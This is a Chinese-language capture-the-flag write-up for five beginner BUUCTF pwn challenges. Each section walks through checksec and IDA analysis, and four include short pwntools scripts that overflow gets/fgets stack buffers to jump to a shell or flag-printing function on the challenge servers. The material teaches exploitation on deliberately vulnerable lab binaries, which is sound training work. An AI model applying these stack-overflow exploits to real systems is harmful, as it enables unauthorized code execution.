目录
BUUCTF PWN
(一)test_your_nc
题目地址
解题思路
-
用checksec查看,发现没有开启canary
-
用IDA查看string,通过交叉引用发现main函数调用了/bin/sh
-
nc到靶机即可启动shell终端,得到flag
工具:checksec, IDA, nc
工具说明
#checksec
checksec --file=test
#nc
nc hostname port #监听服务器端口
(二)rip
题目地址
解题思路
-
checksec查看发现没有开栈保护,可以用栈溢出攻击
-
用IDA查看函数,发现main函数调用了gets,没有检查栈溢出,此外还有一个fun函数执行/bin/sh,于是想到用栈溢出得到shell
-
用nm查看fun地址为0000000000401186
-
在IDA查看gets参数s长度为15
-
构造EXP,请求靶机,得到flag
from pwn import *
sh=remote('node4.buuoj.cn',27298)
addr_of_fun = 0x401186
sh.sendline(b'A'*23 + p64(addr_of_fun+1)) # 23=15(输入参数s长度)+ 8(64位CPU下rdp宽度),+1为堆栈对齐
sh.interactive()
工具:checksec、IDA
(三)warmup_csaw_2016
题目地址
解题思路
-
用checksec查看,发现没有开启canary
-
用IDA查看string,通过交叉引用发现sub_40060D()方法调用了cat flag.txt
-
综上,加上在main函数中发现危险函数gets(),因此要通过栈溢出触发sub_40060D()方法,右键菜单切换到text view记下地址
-
由char v5[64];知道v5的分配空间是64db,加上偏移量8db(64位系统默认),因此要72db才能满足栈溢出条件,编写EXP文件并执行
from pwn import *
sh=remote('node4.buuoj.cn',25131)
addr_of_40060D = 0x40060D
sh.sendline(b'A'*72 + p64(addr_of_40060D))
sh.interactive()
工具:checksec, IDA
(四)ciscn_2019_n_1
题目地址
解题思路
-
用checksec查看,发现没有开启canary
-
用IDA查看string,通过交叉引用发现func函数调用了cat /flag,而main函数调用了func函数,func函数如果v2的值等于11.28125,即触发系统命令输出flag,所以我们的思路是通过gets函数的栈溢出改变v2的值,令其满足条件,而v1的大小为44db
-
11.28125换算成16进制为0X41348000,编写EXP,获取flag
from pwn import *
sh=remote('node4.buuoj.cn',26351)
v2 = 0X41348000
sh.sendline(b'A'*44 + p64(v2))
sh.interactive()
工具:checksec, IDA
(五)pwn1_sctf_2016
题目地址
解题思路
- 用IDA查看string,通过交叉引用发现get_flag函数调用了cat flag.txt,而main函数调用了vuln函数,vuln函数包含一个gets函数,所以我们的思路是通过fgets函数的栈溢出去到get_flag函数的入口,令其执行cat flag.txt系统命令
-
上面程序的逻辑是写入字符串“you”,再写入字符串“I”,把I替换成“you”,相当于1个字节转换成3个字节,而s的地址为0000003C,相当于十进制的60,又因为有exeinfo看出程序是32位的,因此加4db的偏移,刚好溢出,再加上get_flag的地址8048F0D
-
编写EXP,获取flag
from pwn import *
sh=remote('node4.buuoj.cn',27965)
get_flag_address = 0X8048F0D
sh.sendline(b'I'*20 + b'a'*4 + p32(get_flag_address ))
sh.interactive()